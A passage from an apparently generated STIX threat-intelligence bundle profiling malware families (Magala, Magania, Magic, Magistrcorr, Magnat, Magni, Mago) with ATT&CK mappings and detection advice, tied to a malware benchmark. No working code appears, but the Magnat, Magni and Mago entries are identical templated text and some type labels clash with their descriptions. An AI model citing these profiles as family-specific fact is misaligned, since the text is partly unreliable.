      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--31fe6c49-1a97-53f0-a493-6b0c25a55b11",
      "target_ref": "attack-pattern--6510e526-96ec-585d-a6e6-5397dc8c8303",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Maesorn exhibits technique T1027 (Obfuscated Files or Information)."
    },
    {
      "type": "malware",
      "spec_version": "2.1",
      "id": "malware--ad67fba2-f77b-50fe-b084-51798450bd2b",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "name": "Magala",
      "description": "Trojan:Win32/Magala (also known as a **Clicker Trojan**) is a form of malware specifically designed to generate illicit revenue for its operators through automated advertising fraud. Unlike destructive trojans, Magala operates silently in the background, forcibly navigating to specific webpages, mimicking human interactions, and 'clicking' on advertisements or YouTube videos to artificially inflate metrics and steal marketing budgets.<br><br><b>Understanding Clicker Trojans</b><br>To an end-user, a Magala infection is often unnoticeable, aside from potential sluggishness or high network bandwidth consumption while the computer is idle. For a security operations center (SOC), the presence of Magala indicates a compromised endpoint that is actively participating in a botnet designed for financial fraud. It demonstrates that the initial access vector (often malvertising or bundled software) was successfully exploited.<br><br><b>Execution and Click-Fraud Mechanics</b><br>Magala is typically distributed via deceptive software bundlers (`T1189`) or dropped by other malware. Upon execution (`T1204.002`), it establishes persistence via the Registry Run keys (`T1547.001`). Its core functionality relies on utilizing hidden browser instances (often headless IE or Chrome instances) (`T1562`). It reaches out to a Command-and-Control (C2) server (`T1071.001`) to download a list of target URLs, ad networks, and specific click-coordinates. Using the hidden browser context, it silently navigates to these URLs and simulates user clicks on the advertisements (`T1185`), bypassing basic bot-detection mechanisms by simulating human mouse movements and delays.<br><br><b>Indicators of Compromise & Impact</b><br>The primary impact is the unauthorized consumption of network bandwidth, the degradation of endpoint performance, and the endpoint's participation in large-scale advertising fraud. The most glaring IoC is a high volume of outbound HTTP/HTTPS traffic to known adware tracking domains or suspicious, low-reputation ad networks, occurring relentlessly in the background. EDR alerts for the creation of hidden browser processes (e.g., `iexplore.exe` launched with `-embedding` or `-hidden` flags) are critical indicators. (Observed samples in benchmark: 7)",
      "is_family": true,
      "malware_types": [
        "trojan"
      ],
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "aliases": [],
      "external_references": [
        {
          "source_name": "malware-families-catalog",
          "description": "Canonical Malware Families Catalog Technical Profile for Magala",
          "url": "https://malware-families-catalog.systemhelpdesk.com/families/magala"
        }
      ],
      "labels": [
        "trojan",
        "ember-2018",
        "systemhelpdesk"
      ]
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--a92df17e-0104-5264-a430-834d1581f55f",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--ad67fba2-f77b-50fe-b084-51798450bd2b",
      "target_ref": "attack-pattern--4054acd0-ca17-521d-b3cb-772b441a9f32",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Magala exhibits technique T1189 (Drive-by Compromise (Malvertising/Bundler delivery))."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--2faa9e32-aaef-5724-af76-73176bf82497",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--ad67fba2-f77b-50fe-b084-51798450bd2b",
      "target_ref": "attack-pattern--6fa87c46-0565-5b5a-889d-44254001e763",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Magala exhibits technique T1185 (Browser Session Hijacking (Automated, silent ad clicking))."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--d0b1d09e-8788-5f6e-87ad-7129754b4608",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--ad67fba2-f77b-50fe-b084-51798450bd2b",
      "target_ref": "attack-pattern--9561e493-14f3-5fcb-a83c-f95649da6548",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Magala exhibits technique T1071.001 (Application Layer Protocol: Web Protocols (C2 communication for ad lists))."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--28645b65-c5d0-5e02-8ac2-87f768c097f9",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--ad67fba2-f77b-50fe-b084-51798450bd2b",
      "target_ref": "attack-pattern--233c2a7d-34cd-5ba5-8e03-f1b2d741dbe8",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Magala exhibits technique T1562 (Impair Defenses (Utilizing headless browsers to hide activity))."
    },
    {
      "type": "malware",
      "spec_version": "2.1",
      "id": "malware--b4126cd2-ea09-554c-b6d3-51d0835f55ce",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "name": "Magania",
      "description": "Magania (cataloged in antivirus vendor databases and threat intelligence feeds under detections including PWS:Win32/Magania, Trojan:Win32/Magania, and Trojan-PWS.Win32.Magania) is a notorious password-stealing trojan active since 2008. Designed to harvest sensitive credentials from compromised endpoints, Magania historically targeted online multiplayer gaming accounts, digital asset inventories, and web browsers. Upon execution, the malware injects malicious threads into legitimate system processes like explorer.exe to conceal its memory footprint. Magania hooks system APIs and keyboard events to capture account credentials entered into login forms, monitors active application titles, and scans local files for cached credentials. It transmits stolen authentication data to remote C2 servers over HTTP and creates persistent autostart entries in the Windows registry under CurrentVersion\\Run. (Observed samples in benchmark: 63)",
      "is_family": true,
      "malware_types": [
        "trojan"
      ],
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "aliases": [
        "PWS:Win32/Magania",
        "Trojan:Win32/Magania",
        "Trojan-PWS.Win32.Magania",
        "Win32/Magania"
      ],
      "external_references": [
        {
          "source_name": "malware-families-catalog",
          "description": "Canonical Malware Families Catalog Technical Profile for Magania",
          "url": "https://malware-families-catalog.systemhelpdesk.com/families/magania"
        }
      ],
      "labels": [
        "trojan",
        "ember-2018",
        "systemhelpdesk"
      ]
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--e1cd495a-0019-5953-a853-a940721b0485",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--b4126cd2-ea09-554c-b6d3-51d0835f55ce",
      "target_ref": "attack-pattern--5f54d0f8-5d15-5341-b1b0-5a7cbe6761ce",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Magania exhibits technique T1056.001 (Input Capture: Keylogging)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--61e6adbe-aa71-5825-b9e2-88d944fdf019",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--b4126cd2-ea09-554c-b6d3-51d0835f55ce",
      "target_ref": "attack-pattern--03fbc9e9-7346-5d8d-8096-14417cb6c51d",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Magania exhibits technique T1055 (Process Injection)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--ed52025b-72a8-53b7-a831-31ab06ae1140",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--b4126cd2-ea09-554c-b6d3-51d0835f55ce",
      "target_ref": "attack-pattern--53219291-f46b-5d02-88c0-e998a3368cac",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Magania exhibits technique T1547.001 (Boot or Logon Autostart Execution: Registry Run Keys / Startup Folder)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--cea14d76-3197-518f-9ce2-718ebac3f96e",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--b4126cd2-ea09-554c-b6d3-51d0835f55ce",
      "target_ref": "attack-pattern--a389ad0f-bf6b-5b6e-b010-747af7b7b803",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Magania exhibits technique T1048 (Exfiltration Over Alternative Protocol)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--c124d2b9-59dd-5dfd-af29-a69eddd70acd",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--b4126cd2-ea09-554c-b6d3-51d0835f55ce",
      "target_ref": "attack-pattern--37de49c0-a688-5fc9-b50e-201a448feea0",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Magania exhibits technique T1113 (Screen Capture)."
    },
    {
      "type": "malware",
      "spec_version": "2.1",
      "id": "malware--00509e33-e840-5f07-a425-4094a0ef31b1",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "name": "Magic",
      "description": "HackTool:Win32/Magic is a broad categorization for utilities designed to modify, patch, or crack legitimate software, often to bypass DRM or licensing checks. While 'Magic' tools might be used for software piracy, in enterprise environments they are treated as severe risks because they are frequently bundled with, or act as droppers for, highly destructive malware payloads (`T1204.002`).<br><br><b>Understanding Magic (Cracks and Patchers)</b><br>To an end-user, a 'Magic' tool provides free access to premium software. For security operations, the execution of such a tool is a major incident. Attackers know that users will intentionally ignore AV warnings and often disable security controls to run a crack. Therefore, these tools are prime delivery vehicles for ransomware, info-stealers (like RedLine), and cryptominers.<br><br><b>Execution and Dropper Mechanics</b><br>When a user executes the Magic crack tool, it often displays a custom UI to maintain the illusion of legitimacy. In the background, it silently extracts and executes a hidden malicious payload, utilizing packing and obfuscation to evade static detection (`T1027.002`). The user, believing the AV alert was a 'false positive' common with cracks, allows the execution. The dropped payload then establishes persistence (`T1547.001`) and begins its malicious activity.<br><br><b>Indicators of Compromise & Impact</b><br>The impact ranges from credential theft to full network compromise via ransomware, initiated by a single user's action. Host-based IoCs include EDR alerts for known hacking tools, the execution of unsigned binaries from `%Downloads%` or `%Temp%`, and the user intentionally disabling Windows Defender or creating exclusion paths. The execution of a crack tool is often followed immediately by anomalous network connections or process injection. (Observed samples in benchmark: 1)",
      "is_family": true,
      "malware_types": [
        "ransomware"
      ],
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "aliases": [],
      "external_references": [
        {
          "source_name": "malware-families-catalog",
          "description": "Canonical Malware Families Catalog Technical Profile for Magic",
          "url": "https://malware-families-catalog.systemhelpdesk.com/families/magic"
        }
      ],
      "labels": [
        "ransomware",
        "ember-2018",
        "systemhelpdesk"
      ]
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--918d5b4f-9c9f-5e10-9d1c-a4aea5f4325f",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--00509e33-e840-5f07-a425-4094a0ef31b1",
      "target_ref": "attack-pattern--bef94ccf-f6d3-5ee9-8eaa-a8867a38a5a4",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Magic exhibits technique T1204.002 (User Execution: Malicious File (The user intentionally running the untrusted crack tool))."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--1fae2cc8-2016-58bb-9252-aa59d7ccb18a",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--00509e33-e840-5f07-a425-4094a0ef31b1",
      "target_ref": "attack-pattern--ebf98ceb-88d4-5269-a96f-9fce8af0ec35",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Magic exhibits technique T1027.002 (Obfuscated Files or Information: Software Packing (Hiding the malware payload inside the wrapper))."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--f97ddc0f-748b-5c16-94c3-c3a34b1013f0",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--00509e33-e840-5f07-a425-4094a0ef31b1",
      "target_ref": "attack-pattern--07f2a5f1-0132-5a8d-8dbb-fae899993f56",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Magic exhibits technique T1562.001 (Impair Defenses: Disable or Modify Tools (Users often disable AV to run these tools))."
    },
    {
      "type": "malware",
      "spec_version": "2.1",
      "id": "malware--f9cacd0b-2aea-5f70-955d-b8a2749cba1e",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "name": "Magistrcorr",
      "description": "<h3>Executive Summary</h3>\nMagistrcorr is a heuristic detection applied to variants, remnants, or corrupted (hence \"corr\") versions of the notorious Win32/Magistr family. Magistr is a complex, destructive polymorphic virus and mass-mailing worm that caused widespread damage in the early 2000s. While active outbreaks are rare today on modern operating systems, the detection of a Magistr variant indicates a severe legacy infection or the presence of a highly destructive payload capable of wiping hard drives and destroying BIOS firmware.\n\n<h3>Infection Vector and Technical Capabilities</h3>\nMagistr traditionally spreads by harvesting email addresses from the infected machine's address book (Outlook, Eudora) and mailing itself out with randomly generated subject lines and attachments. It also infects executable files (`.exe`, `.scr`) on local and mapped network drives.\n\nUpon execution, Magistr exhibits highly destructive behavior:\n<ul>\n<li><strong>Polymorphic File Infection:</strong> Magistr infects PE (Portable Executable) files by injecting its code and altering the entry point. It is highly polymorphic, meaning the virus encrypts its own body with a different key for every infected file, making signature-based detection difficult.</li>\n<li><strong>Mass-Mailing and Lateral Movement:</strong> It implements its own SMTP engine to mass-mail copies of infected files to harvested email addresses, utilizing the compromised host to attack external networks and internal peers.</li>\n<li><strong>Destructive Payload (Time Bomb):</strong> The most critical threat is its delayed destructive payload. After a certain period (e.g., one month after initial infection), the virus attempts to overwrite the system's hard drive with garbage data (wiping the MBR and FAT) and attempts to flash (destroy) the motherboard's BIOS firmware, rendering the computer permanently unbootable (similar to the CIH/Chernobyl virus).</li>\n</ul>\n\n<h3>Threat Assessment</h3>\nA Magistr detection is a critical security incident. The malware is exceptionally destructive. Even if the \"corr\" designation implies the file is corrupted and potentially non-functional, it indicates that a highly destructive, self-replicating virus was present on the network.\n\n<h3>Incident Response and Remediation</h3>\n<ul>\n<li><strong>Immediate Isolation (Hard Stop):</strong> Instantly isolate the machine from the network. If the destructive payload is suspected to be active, a hard power-off is recommended to prevent the hard drive from being wiped.</li>\n<li><strong>Forensic Triage:</strong> Boot the machine from a clean, offline environment (e.g., a Linux Live USB) to scan the drive and attempt data recovery before attempting any disinfection.</li>\n<li><strong>Complete System Rebuild:</strong> Because Magistr deeply infects system executables and can damage firmware, attempting to \"clean\" the files is highly unreliable. The machine must be completely wiped, the BIOS flashed with a clean image from the manufacturer, and the OS re-installed from a known-good baseline.</li>\n</ul> (Observed samples in benchmark: 1)",
      "is_family": true,
      "malware_types": [
        "trojan"
      ],
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "aliases": [
        "Virus.Win32.Magistr",
        "Worm.Magistr",
        "Win32/Magistr.corrupt"
      ],
      "external_references": [
        {
          "source_name": "malware-families-catalog",
          "description": "Canonical Malware Families Catalog Technical Profile for Magistrcorr",
          "url": "https://malware-families-catalog.systemhelpdesk.com/families/magistrcorr"
        }
      ],
      "labels": [
        "advanced_threat",
        "ember-2018",
        "systemhelpdesk"
      ]
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--1d846cfd-f21d-589f-8096-eaf0ae68984a",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--f9cacd0b-2aea-5f70-955d-b8a2749cba1e",
      "target_ref": "attack-pattern--a1097f7e-2aee-5bd4-ba08-a98048ff4e08",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Magistrcorr exhibits technique T1485 (Data Destruction)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--b8ad36ff-2fb5-5e6a-af45-18a29c8e88e5",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--f9cacd0b-2aea-5f70-955d-b8a2749cba1e",
      "target_ref": "attack-pattern--8ca1d648-b445-58a0-a066-7e7dfa335e84",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Magistrcorr exhibits technique T1561.002 (Disk Wipe: Disk Structure Wipe)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--45766f60-1878-57d1-996b-4206da0f7ac9",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--f9cacd0b-2aea-5f70-955d-b8a2749cba1e",
      "target_ref": "attack-pattern--03fbc9e9-7346-5d8d-8096-14417cb6c51d",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Magistrcorr exhibits technique T1055 (Process Injection)."
    },
    {
      "type": "malware",
      "spec_version": "2.1",
      "id": "malware--b2708d1d-57f0-5305-8dec-1e0c34ab99d1",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "name": "Magnat",
      "description": "Trojan:Win32/Magnat is a persistent, stealthy trojan designed to breach endpoint defenses and securely deliver secondary, high-severity payloads like ransomware, banking trojans, and botnet agents, or act as a persistent backdoor.<br><br><b>Understanding Magnat</b><br>To an end-user, a Magnat infection is typically invisible until the devastating secondary payload executes. For threat intelligence analysts, Magnat is a critical staging mechanism. It functions as an 'Initial Access Broker' tool. Its primary objective is to securely bypass endpoint defenses, profile the infected machine to ensure it is not a sandbox, and reach out to a Command-and-Control (C2) server to pull down the final, destructive payload.<br><br><b>Execution and Evasion Strategies</b><br>Magnat is commonly distributed via massive malspam campaigns containing weaponized attachments (like ZIP files or Office macros) or through exploit kits. Upon execution, it utilizes heavy packing and dynamic API resolution to evade static antivirus signatures. It drops a randomized executable into the `%Temp%` or `%AppData%` directory. It establishes persistence by creating a hidden scheduled task or modifying the Registry Run keys. Magnat frequently injects its downloading routine into legitimate system processes (like `explorer.exe` or `svchost.exe`) to mask its outbound network traffic.<br><br><b>Indicators of Compromise (IoCs)</b><br>Threat hunters should investigate EDR alerts related to 'Suspicious Process Injection' or 'Anomalous Child Process Spawning'. Network logs will often reveal Magnat reaching out to compromised domains using encrypted HTTPS traffic. The presence of unexpected, hidden scheduled tasks designed to execute randomly named binaries in the user's profile is a strong IoC. Memory analysis is necessary to extract the injected downloader modules and determine what payloads were requested. (Observed samples in benchmark: 1)",
      "is_family": true,
      "malware_types": [
        "ransomware"
      ],
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "aliases": [],
      "external_references": [
        {
          "source_name": "malware-families-catalog",
          "description": "Canonical Malware Families Catalog Technical Profile for Magnat",
          "url": "https://malware-families-catalog.systemhelpdesk.com/families/magnat"
        }
      ],
      "labels": [
        "ransomware",
        "ember-2018",
        "systemhelpdesk"
      ]
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--c3685f71-136e-54e2-aa5d-aa70f7932b2b",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--b2708d1d-57f0-5305-8dec-1e0c34ab99d1",
      "target_ref": "attack-pattern--fd6c1c13-5ac2-56b9-9973-db402db30180",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Magnat exhibits technique T1105 (Ingress Tool Transfer)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--24bc3995-ec0b-5e07-aabb-802403fe1b06",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--b2708d1d-57f0-5305-8dec-1e0c34ab99d1",
      "target_ref": "attack-pattern--03fbc9e9-7346-5d8d-8096-14417cb6c51d",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Magnat exhibits technique T1055 (Process Injection)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--46f9c224-dc04-5c7c-8cad-e9f3a1afde26",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--b2708d1d-57f0-5305-8dec-1e0c34ab99d1",
      "target_ref": "attack-pattern--53219291-f46b-5d02-88c0-e998a3368cac",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Magnat exhibits technique T1547.001 (Boot or Logon Autostart Execution: Registry Run Keys / Startup Folder)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--553cf6a4-576c-5361-90f5-090ead31226b",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--b2708d1d-57f0-5305-8dec-1e0c34ab99d1",
      "target_ref": "attack-pattern--6e5c1c96-55ac-56a4-97dc-4ea125bbfff4",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Magnat exhibits technique T1566.001 (Phishing: Spearphishing Attachment)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--a231a4a3-2660-5ed2-8795-1ae76fd5683b",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--b2708d1d-57f0-5305-8dec-1e0c34ab99d1",
      "target_ref": "attack-pattern--6510e526-96ec-585d-a6e6-5397dc8c8303",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Magnat exhibits technique T1027 (Obfuscated Files or Information)."
    },
    {
      "type": "malware",
      "spec_version": "2.1",
      "id": "malware--3dd18234-0a9f-5b96-8aff-977422fe5c82",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "name": "Magni",
      "description": "Trojan:Win32/Magni is a persistent, stealthy trojan designed to breach endpoint defenses and securely deliver secondary, high-severity payloads like ransomware, banking trojans, and botnet agents, or act as a persistent backdoor.<br><br><b>Understanding Magni</b><br>To an end-user, a Magni infection is typically invisible until the devastating secondary payload executes. For threat intelligence analysts, Magni is a critical staging mechanism. It functions as an 'Initial Access Broker' tool. Its primary objective is to securely bypass endpoint defenses, profile the infected machine to ensure it is not a sandbox, and reach out to a Command-and-Control (C2) server to pull down the final, destructive payload.<br><br><b>Execution and Evasion Strategies</b><br>Magni is commonly distributed via massive malspam campaigns containing weaponized attachments (like ZIP files or Office macros) or through exploit kits. Upon execution, it utilizes heavy packing and dynamic API resolution to evade static antivirus signatures. It drops a randomized executable into the `%Temp%` or `%AppData%` directory. It establishes persistence by creating a hidden scheduled task or modifying the Registry Run keys. Magni frequently injects its downloading routine into legitimate system processes (like `explorer.exe` or `svchost.exe`) to mask its outbound network traffic.<br><br><b>Indicators of Compromise (IoCs)</b><br>Threat hunters should investigate EDR alerts related to 'Suspicious Process Injection' or 'Anomalous Child Process Spawning'. Network logs will often reveal Magni reaching out to compromised domains using encrypted HTTPS traffic. The presence of unexpected, hidden scheduled tasks designed to execute randomly named binaries in the user's profile is a strong IoC. Memory analysis is necessary to extract the injected downloader modules and determine what payloads were requested. (Observed samples in benchmark: 1)",
      "is_family": true,
      "malware_types": [
        "ransomware"
      ],
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "aliases": [],
      "external_references": [
        {
          "source_name": "malware-families-catalog",
          "description": "Canonical Malware Families Catalog Technical Profile for Magni",
          "url": "https://malware-families-catalog.systemhelpdesk.com/families/magni"
        }
      ],
      "labels": [
        "ransomware",
        "ember-2018",
        "systemhelpdesk"
      ]
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--e4efe8e0-b29e-51df-89e7-f6da066d9326",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--3dd18234-0a9f-5b96-8aff-977422fe5c82",
      "target_ref": "attack-pattern--fd6c1c13-5ac2-56b9-9973-db402db30180",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Magni exhibits technique T1105 (Ingress Tool Transfer)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--96de1a42-1fd6-5956-87a1-d3b2c3ea4e6f",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--3dd18234-0a9f-5b96-8aff-977422fe5c82",
      "target_ref": "attack-pattern--03fbc9e9-7346-5d8d-8096-14417cb6c51d",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Magni exhibits technique T1055 (Process Injection)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--065c63e6-0553-50a4-a90b-f7af09303620",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--3dd18234-0a9f-5b96-8aff-977422fe5c82",
      "target_ref": "attack-pattern--53219291-f46b-5d02-88c0-e998a3368cac",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Magni exhibits technique T1547.001 (Boot or Logon Autostart Execution: Registry Run Keys / Startup Folder)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--529d6b2d-d14d-525e-808c-2f50c02ae72e",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--3dd18234-0a9f-5b96-8aff-977422fe5c82",
      "target_ref": "attack-pattern--6e5c1c96-55ac-56a4-97dc-4ea125bbfff4",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Magni exhibits technique T1566.001 (Phishing: Spearphishing Attachment)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--4e9442ab-5840-5239-9031-2bfecf50196f",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--3dd18234-0a9f-5b96-8aff-977422fe5c82",
      "target_ref": "attack-pattern--6510e526-96ec-585d-a6e6-5397dc8c8303",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Magni exhibits technique T1027 (Obfuscated Files or Information)."
    },
    {
      "type": "malware",
      "spec_version": "2.1",
      "id": "malware--2edbce11-3a37-5a30-bf02-8151d960c4a2",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "name": "Mago",
      "description": "Trojan:Win32/Mago is a persistent, stealthy trojan designed to breach endpoint defenses and securely deliver secondary, high-severity payloads like ransomware, banking trojans, and botnet agents, or act as a persistent backdoor.<br><br><b>Understanding Mago</b><br>To an end-user, a Mago infection is typically invisible until the devastating secondary payload executes. For threat intelligence analysts, Mago is a critical staging mechanism. It functions as an 'Initial Access Broker' tool. Its primary objective is to securely bypass endpoint defenses, profile the infected machine to ensure it is not a sandbox, and reach out to a Command-and-Control (C2) server to pull down the final, destructive payload.<br><br><b>Execution and Evasion Strategies</b><br>Mago is commonly distributed via massive malspam campaigns containing weaponized attachments (like ZIP files or Office macros) or through exploit kits. Upon execution, it utilizes heavy packing and dynamic API resolution to evade static antivirus signatures. It drops a randomized executable into the `%Temp%` or `%AppData%` directory. It establishes persistence by creating a hidden scheduled task or modifying the Registry Run keys. Mago frequently injects its downloading routine into legitimate system processes (like `explorer.exe` or `svchost.exe`) to mask its outbound network traffic.<br><br><b>Indicators of Compromise (IoCs)</b><br>Threat hunters should investigate EDR alerts related to 'Suspicious Process Injection' or 'Anomalous Child Process Spawning'. Network logs will often reveal Mago reaching out to compromised domains using encrypted HTTPS traffic. The presence of unexpected, hidden scheduled tasks designed to execute randomly named binaries in the user's profile is a strong IoC. Memory analysis is necessary to extract the injected downloader modules and determine what payloads were requested. (Observed samples in benchmark: 7)",
      "is_family": true,
      "malware_types": [
        "ransomware"
      ],
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "aliases": [],
      "external_references": [
        {
          "source_name": "malware-families-catalog",
          "description": "Canonical Malware Families Catalog Technical Profile for Mago",
          "url": "https://malware-families-catalog.systemhelpdesk.com/families/mago"
        }
      ],
      "labels": [
        "ransomware",
        "ember-2018",
        "systemhelpdesk"
      ]
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--cce2d356-9111-5fe7-a53a-e804dce0751b",
